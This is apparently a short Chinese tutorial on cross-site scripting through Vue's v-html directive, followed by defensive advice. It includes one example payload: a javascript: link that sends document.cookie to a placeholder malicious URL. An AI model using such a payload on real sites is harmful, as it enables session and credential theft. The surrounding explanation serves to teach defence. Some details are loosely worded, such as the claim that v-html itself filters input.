XSS攻击与v-html

      XSS（cross site script）攻击，利用用户web输入漏洞，实现跨站脚本攻击。恶意攻击者在Web页面里插入恶意html代码，当用户浏览该页时，嵌入其中的恶意html代码被执行，从而实现攻击者的恶意目的。V-html通过过滤输入和转义输出可以有效避免该类攻击。

      一、攻击方式

      示例代码：

      <div id="app">

            <div v-html="myhtml"></div>

      </div>

      <script>

           new Vue ({

                el:"app",

                 data:{

                  myhtml:"<a href=javascript:location.href='http://恶意网址?cookie='+document.cookie> 

                  你喜欢的文字</a>"

                   }

              })

     </script>

     上述代码执行后，用户一旦点击“你喜欢的文字”这个链接，即会访问相应的恶意网址并提交一个cookie（很可能包含了你的登录用户名与密码）。

     类似的现象出现在留言板、评论等诸多用户输入并提交的区域。主要风险：

     在代码区里有用户输入的内容，允许用户输入HTML标签的页面等。

      二、解决办法（防止XSS和CSRF）

      1. 前端过滤：零信任用户输入的内容，不要用v-html绑定任何用户输入的内容；不要直接相信服务器返回的响应；对所有用户提交内容进行可靠的输入验证，提交内容包括URL、查询关键字、http头、post数据等；

      2.后台转义（<> &lt;&gt;）：不能直接相信前端获得的用户输入信息，当用户输入内容含有标签时不解释，直接输出。严格控制输入字符数，拒绝脚本区的用户输入。  

      3.给cookie加上属性http

      有关CSRF（跨站点请求伪造Cross—Site Request Forgery)的内容请参考文章：

    CSRF攻击与防御